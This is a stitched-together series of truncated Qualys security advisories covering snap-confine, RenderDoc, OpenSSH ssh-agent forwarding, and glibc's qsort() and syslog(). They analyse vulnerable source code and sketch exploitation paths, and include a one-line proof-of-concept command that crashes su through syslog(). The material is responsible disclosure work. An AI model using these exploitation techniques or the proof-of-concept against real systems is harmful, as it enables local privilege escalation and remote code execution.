169 sc_must_snprintf(base_dir, sizeof(base_dir), "/tmp/snap.%s", 
snap_name);
...
176 base_dir_fd = must_mkdir_and_open_with_perms(base_dir, 0, 0, 0700);

 55 static int must_mkdir_and_open_with_perms(const char *dir, uid_t uid, gid_t 
gid,
 56   mode_t mode)
 ..
 61  mkdir:
 ..
 67 if (mkdir(dir, 0700) < 0 && errno != EEXIST) {
 ..
 70 fd = open(dir, O_RDONLY | O_DIRECTORY | O_CLOEXEC | O_NOFOLLOW);
 ..
 81 if (fstat(fd, ) < 0) {
 ..
 84 if (st.st_uid != uid || st.st_gid != gid
 85 || st.st_mode != (S_IFDIR | mode)) {
...
130 if (rename(dir, random_dir) < 0) {
...
135 goto mkdir;


- the temporary directory /tmp/snap.$SNAP_NAME is created at line 67, if
  it does not exist already;

- if it already exists, and if it does not belong to root (at line 84),
  then it is moved out of the way (at line 130) by rename()ing it to a
  random directory in /tmp, and its creation is retried (at line 135).

When we reviewed this patch back in December 2021, we felt very nervous
about this rename() call (because it allows a local attacker to rename()
a directory they do not own), and we advised the Ubuntu Security Team to
either not reuse the directory /tmp/snap.$SNAP_NAME at all, or to create
it in a non-world-writable directory instead of /tmp, or at least to use
renameat2(RENAME_EXCHANGE) instead of rename(). Unfortunately, all of
these ideas were deemed impractical (for example, renameat2() is not
supported by older kernel and glibc versions); moreover, we (Qualys)
failed to come up with a feasible attack plan against this rename()
call, so the patch was kept in its current form.

After the release of Ubuntu 22.04 in April 2022, we decided to revisit
snap-confine and its recent hardening changes, and we finally found a
way to exploit the rename() call in must_mkdir_and_open_with_perms().



Exploitation


It's getting, it's getting, it's getting kinda heavy
It's getting, it's getting, it's getting kinda hectic
-- SNAP! - The Power

The three key ideas to exploit the rename() of /tmp/snap.$SNAP_NAME are:

1/ snap-confine operates in /tmp to create a snap's temporary directory
(/tmp/snap.$SNAP_NAME in setup_private_mount()), but it also operates in
/

[FD] LPE and RCE in RenderDoc: CVE-2023-33865, CVE-2023-33864, CVE-2023-33863

2023-06-07 Thread Qualys Security Advisory via Fulldisclosure


Qualys Security Advisory

LPE and RCE in RenderDoc: CVE-2023-33865, CVE-2023-33864, CVE-2023-33863



Contents


Summary
CVE-2023-33865, a symlink vulnerability in /tmp/RenderDoc
- Analysis
- Exploitation
CVE-2023-33864, an integer underflow to heap-based buffer overflow
- Analysis
- Exploitation
CVE-2023-33863, an integer overflow to heap-based buffer overflow
- Analysis
Acknowledgments



Summary


  "RenderDoc is a free MIT licensed stand-alone graphics debugger that
  allows quick and easy single-frame capture and detailed introspection
  of any application using Vulkan, D3D11, OpenGL & OpenGL ES or D3D12
  across Windows, Linux, Android, or Nintendo Switch(TM)."
  (https://renderdoc.org/)

To capture a frame on Linux, RenderDoc LD_PRELOADs the shared library
librenderdoc.so into the application to be debugged, and this library
immediately starts a server thread that listens on TCP port 38920 (on
all network interfaces) and waits for clients to connect. Unfortunately,
we discovered three vulnerabilities in this server's implementation:

- CVE-2023-33865, a symlink vulnerability that is exploitable by any
  unprivileged local attacker to obtain the privileges of the user who
  runs RenderDoc. The exact details of this symlink vulnerability made
  it quite interesting and challenging to exploit.

- CVE-2023-33864, an integer underflow that results in a heap-based
  buffer overflow that is exploitable by any remote attacker to execute
  arbitrary code on the machine that runs RenderDoc. The unusual malloc
  exploitation technique that we used to exploit this vulnerability is
  reliable, one-shot, and works despite all the latest glibc, ASLR, PIE,
  NX, and stack-canary protections.

- CVE-2023-33863, an integer overflow that results in a heap-based
  buffer overflow and may be exploitable by a remote attacker to execute
  arbitrary code on the machine that runs RenderDoc (but we have not
  tried to exploit this vulnerability).

All three vulnerabilities were fixed on May 19, 2023 by the following
commits (i.e., RenderDoc <= v1.26 is vulnerable, but v1.27 is fixed):

  
https://github.com/baldurk/renderdoc/commit/601ed56111ce3803d8476d438ade1c92d6092856
  
https://github.com/baldurk/renderdoc/commit/e0464fea4f9a7f149c4ee1d84e5ac57839a4a862
  
https://github.com/baldurk/renderdoc/commit/1f72a09e3b4fd8ba45be4b0db4889444ef5179e2
  
https://github.com/baldurk/renderdoc/commit/203fc8382a79d53d2035613d9425d966b1d4958e
  
https://github.com/baldurk/renderdoc/commit/771aa8e769b72e6a36b31d6e2116db9952dcbe9b

Last-minute note: RenderDoc also listens on TCP port 39920, but only
allows connections from private IPs there (10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16), and can be configured to further restrict this allow-
list; on the other hand, RenderDoc allows anyone to connect to TCP port
38920 (the port that we exploited), and cannot be configured to restrict
who can connect there.



CVE-2023-33865, a symlink vulnerability in /tmp/RenderDoc



Analysis


As soon as librenderdoc.so is LD_PRELOADed into the application to be
debugged, its library_loaded() function:

- creates the directory /tmp/RenderDoc, or reuses it if it already
  exists, even if it does not belong to the user who runs RenderDoc
  (Alice, in this advisory);

- opens (and possibly creates) a log file of the form
  /tmp/RenderDoc/RenderDoc_app_.MM.DD_hh.mm.ss.log, and writes to it
  in append mode:


507   open(filename.c_str(), O_APPEND | O_WRONLY | O_CREAT, S_IRUSR | 
S_IWUSR | S_IRGRP | S_IROTH);


Consequently, a local attacker can create /tmp/RenderDoc before Alice
runs RenderDoc, and can populate this directory with numerous symlinks
(of the form /tmp/RenderDoc/RenderDoc_app_.MM.DD_hh.mm.ss.log) that
point to an arbitrary file in the filesystem; when Alice runs RenderDoc,
this file will be created (if it does not exist already) and written to,
with Alice's privileges.

The attacker can write arbitrary strings into this file (by sending
these strings to RenderDoc on TCP port 38920), but unfortunately for the
attacker, RenderDoc prepends each of these strings with a header that is
not controlled by the attacker (and if the attacker sends a string that
contains \n characters, then RenderDoc splits this str

[FD] CVE-2023-38408: Remote Code Execution in OpenSSH's forwarded ssh-agent

2023-07-19 Thread Qualys Security Advisory via Fulldisclosure


Qualys Security Advisory

CVE-2023-38408: Remote Code Execution in OpenSSH's forwarded ssh-agent



Contents


Summary
Background
Experiments
Results
Discussion
Acknowledgments
Timeline



Summary


"ssh-agent is a program to hold private keys used for public key
authentication. Through use of environment variables the agent can
be located and automatically used for authentication when logging in
to other machines using ssh(1). ... Connections to ssh-agent may be
forwarded from further remote hosts using the -A option to ssh(1)
(but see the caveats documented therein), avoiding the need for
authentication data to be stored on other machines."
(https://man.openbsd.org/ssh-agent.1)

"Agent forwarding should be enabled with caution. Users with the
ability to bypass file permissions on the remote host ... can access
the local agent through the forwarded connection. ... A safer
alternative may be to use a jump host (see -J)."
(https://man.openbsd.org/ssh.1)

Despite this warning, ssh-agent forwarding is still widely used today.
Typically, a system administrator (Alice) runs ssh-agent on her local
workstation, connects to a remote server with ssh, and enables ssh-agent
forwarding with the -A or ForwardAgent option, thus making her ssh-agent
(which is running on her local workstation) reachable from the remote
server.

While browsing through ssh-agent's source code, we noticed that a remote
attacker, who has access to the remote server where Alice's ssh-agent is
forwarded to, can load (dlopen()) and immediately unload (dlclose()) any
shared library in /usr/lib* on Alice's workstation (via her forwarded
ssh-agent, if it is compiled with ENABLE_PKCS11, which is the default).

(Note to the curious readers: for security reasons, and as explained in
the "Background" section below, ssh-agent does not actually load such a
shared library in its own address space (where private keys are stored),
but in a separate, dedicated process, ssh-pkcs11-helper.)

Although this seems safe at first (because every shared library in
/usr/lib* comes from an official distribution package, and no operation
besides dlopen() and dlclose() is generally performed by ssh-agent on a
shared library), many shared libraries have unfortunate side effects
when dlopen()ed and dlclose()d, and are therefore unsafe to be loaded
and unloaded in a security-sensitive program such as ssh-agent. For
example, many shared libraries have constructor and destructor functions
that are automatically executed by dlopen() and dlclose(), respectively.

Surprisingly, by chaining four common side effects of shared libraries
from official distribution packages, we were able to transform this very
limited primitive (the dlopen() and dlclose() of shared libraries from
/usr/lib*) into a reliable, one-shot remote code execution in ssh-agent
(despite ASLR, PIE, and NX). Our best proofs of concept so far exploit
default installations of Ubuntu Desktop plus three extra packages from
Ubuntu's "universe" repository. We believe that even better results can
be achieved (i.e., some operating systems might be exploitable in their
default installation):

- we only investigated Ubuntu Desktop 22.04 and 21.10, we have not
  looked into any other versions, distributions, or operating systems;

- the "fuzzer" that we wrote to test our ideas is rudimentary and slow,
  and we ran it intermittently on a single laptop, so we have not tried
  all the combinations of shared libraries and side effects;

- we initially had only one attack vector in mind (i.e., one specific
  combination of side effects from shared libraries), but we discovered
  six more while analyzing the results of our fuzzer, and we are
  convinced that more attack vectors exist.

In this advisory, we present our research, experiments, reproducible
results, and further ideas to exploit this "dlopen() then dlclose()"
primitive. We will also publish the source code of our crude fuzzer at
https://www.qualys.com/research/security-advisories/ (warning: this code
might hurt the eyes of experienced fuzzing practitioners, but it gave us
quick answers to our many questions; it is provided "as is", in the hope
that it will be useful).



Background


The ability to load and unload shared libraries in ssh-agent was
developed in 2010 to support the addition and deletion of PKCS#11 keys:
ssh-agent forks and executes a long-running ssh-pkcs11-helper process
that dlopen()s PKCS#11 provi

[FD] Out-of-bounds read & write in the glibc's qsort()

2024-02-04 Thread Qualys Security Advisory via Fulldisclosure


Qualys Security Advisory

For the algorithm lovers: Nontransitive comparison functions lead to
out-of-bounds read & write in glibc's qsort()



Contents


Summary
Background
Experiments
Analysis
Patch
Discussion
Acknowledgments
Timeline

CUT MY LIST IN TWO PIECES
THAT'S HOW YOU START QUICK SORT
-- https://twitter.com/QuinnyPig/status/1710447650112438710



Summary


We discovered a memory corruption in the glibc's qsort() function, due
to a missing bounds check. To be vulnerable, a program must call qsort()
with a nontransitive comparison function (a function cmp(int a, int b)
that returns (a - b), for example) and with a large number of attacker-
controlled elements (to cause a malloc() failure inside qsort()). We
have not tried to find such a vulnerable program in the real world.

All glibc versions from at least September 1992 (glibc 1.04) to the
current release (glibc 2.38) are affected, but the glibc's developers
have independently discovered and patched this memory corruption in the
master branch (commit b9390ba, "stdlib: Fix array bounds protection in
insertion sort phase of qsort") during a recent refactoring of qsort().

About our advisory, the glibc security team issues the following
statement:


This memory corruption in the GNU C Library through the qsort function is
invoked by an application passing a non-transitive comparison function, which
is undefined according to POSIX and ISO C standards.  As a result, we are of
the opinion that the resulting CVE, if any, should be assigned to any such
calling applications and subsequently fixed by passing a valid comparison
function to qsort and not to glibc.  We however acknowledge that this is a
quality of implementation issue and we fixed this in a recent refactor of
qsort.  We would like to thank Qualys for sharing their findings and helping
us validate our recent changes to qsort.




Background


While browsing through Postfix's HISTORY file, we stumbled across a
puzzling entry from February 2002:


Bugfix: make all recipient comparisons transitive, because
Solaris qsort() causes SIGSEGV errors otherwise. Victor
Duchovni, Morgan Stanley. File: *qmgr/qmgr_message.c.


Segmentation faults in qsort()? Transitive comparison functions?

As explained in the manual page for qsort(), "The comparison function
must return an integer less than, equal to, or greater than zero if the
first argument is considered to be respectively less than, equal to, or
greater than the second." Of course, such a comparison function cmp()
must be transitive:

- if a < b (i.e., if cmp(pointer_to(a), pointer_to(b)) < 0);

- and if b < c (i.e., if cmp(pointer_to(b), pointer_to(c)) < 0);

- then necessarily a < c (i.e., cmp(pointer_to(a), pointer_to(c)) < 0).

For example, the following comparison function (which compares integers)
is transitive (and perfectly correct):


int
cmp(const void * const pa, const void * const pb)
{
const int a = *(const int *)pa;
const int b = *(const int *)pb;
if (a > b) return +1;
if (a < b) return -1;
return 0;
}


A shorter and more efficient version of this comparison function could
simply "return (a > b) - (a < b);" and still be transitive and perfectly
correct:

- if a > b, it returns 1 - 0 = +1;

- if a < b, it returns 0 - 1 = -1;

- if a = b, it returns 0 - 0 = 0.

The question, then, is: how can a comparison function be nontransitive?
A comparison function cmp() is nontransitive if there exist a, b, and c
such that:

- a < b (because cmp(pointer_to(a), pointer_to(b)) < 0);

- b < c (because cmp(pointer_to(b), pointer_to(c)) < 0);

- but a >= c (because cmp(pointer_to(a), pointer_to(c)) >= 0 by
  mistake).

Although the following comparison function seems correct at first, it is
in fact nontransitive, because the subtraction in "return (a - b);" is
prone to integer overflows:


int
cmp(const void * const pa, const void * con

[FD] CVE-2023-6246: Heap-based buffer overflow in the glibc's syslog()

2024-02-04 Thread Qualys Security Advisory via Fulldisclosure


Qualys Security Advisory

CVE-2023-6246: Heap-based buffer overflow in the glibc's syslog()



Contents


Summary
Analysis
Proof of concept
Exploitation
Acknowledgments
Timeline



Summary


We discovered a heap-based buffer overflow in the GNU C Library's
__vsyslog_internal() function, which is called by both syslog() and
vsyslog(). This vulnerability was introduced in glibc 2.37 (in August
2022) by the following commit:

  
https://sourceware.org/git?p=glibc.git;a=commit;h=52a5be0df411ef3ff45c10c7c308cb92993d15b1

and was also backported to glibc 2.36 because this commit was a fix for
another, minor vulnerability in __vsyslog_internal() (CVE-2022-39046, an
"uninitialized memory [read] from the heap"):

  https://sourceware.org/bugzilla/show_bug.cgi?id=29536

For example, we confirmed that Debian 12 and 13, Ubuntu 23.04 and 23.10,
and Fedora 37 to 39 are vulnerable to this buffer overflow. Furthermore,
we successfully exploited an up-to-date, default installation of Fedora
38 (on amd64): a Local Privilege Escalation, from any unprivileged user
to full root. Other distributions are probably also exploitable.

To the best of our knowledge, this vulnerability cannot be triggered
remotely in any likely scenario (because it requires an argv[0], or an
openlog() ident argument, longer than 1024 bytes to be triggered).

Last-minute note: in December 1997 Solar Designer published information
about a very similar vulnerability in the vsyslog() of the old Linux
libc (https://insecure.org/sploits/linux.libc.5.4.38.vsyslog.html).



Analysis


In the glibc, both syslog() and vsyslog() call the vulnerable function
__vsyslog_internal():


122 __vsyslog_internal (int pri, const char *fmt, va_list ap,
123 unsigned int mode_flags)
124 {
125   /* Try to use a static buffer as an optimization.  */
126   char bufs[1024];
127   char *buf = NULL;
128   size_t bufsize = 0;
...
171 #define SYSLOG_HEADER(__pri, __timestamp, __msgoff, pid) \
172   "<%d>%s%n%s%s%.0d%s: ",\
173   __pri, __timestamp, __msgoff,  \
174   LogTag == NULL ? __progname : LogTag,  \
175   "[" + (pid == 0), pid, "]" + (pid == 0)
...
182 l = __snprintf (bufs, sizeof bufs,
183 SYSLOG_HEADER (pri, timestamp, , pid));
...
187   if (0 <= l && l < sizeof bufs)
188 {
...
202 }
203 
204   if (buf == NULL)
205 {
206   buf = malloc ((bufsize + 1) * sizeof (char));
...
213 __snprintf (buf, l + 1,
214 SYSLOG_HEADER (pri, timestamp, , pid));
...
221   __vsnprintf_internal (buf + l, bufsize - l + 1, fmt, apc,
222 mode_flags);


- at lines 182-183, SYSLOG_HEADER() includes __progname (the basename()
  of argv[0]) if LogTag is NULL (e.g., if openlog() was not called, or
  called with a NULL ident argument);

- because a local attacker fully controls argv[0] and hence __progname
  (even when executing a SUID-root program such as su), at line 187 l
  (the return value of __snprintf()) can be larger than sizeof bufs
  (1024), in which case the code block at lines 188-202 is skipped;

- consequently, at line 203 buf is still NULL and bufsize is still 0,
  and at line 206 a very small 1-byte buf is malloc()ated (because
  bufsize is 0);

- at lines 213-214 this small buf is overflowed with the attacker-
  controlled __progname (because l is larger than 1024), and at lines
  221-222 this small buf is further overflowed (because bufsize - l + 1
  is 0 - l + 1, a very large size_t).



Proof of concept


$ (exec -a "`printf '%0128000x' 1`" /usr/bin/su < /dev/null)
Password: Segmentation fault (core dumped)



Exploitation


We decided to exploit this vulnerability through su (the most common
SUID-root program) on Fedora 38. To authenticate a user, su calls the
PAM library, and if the password provided by the user is incorrect, then
PAM calls the glibc's syslog() function without calling openlog() fir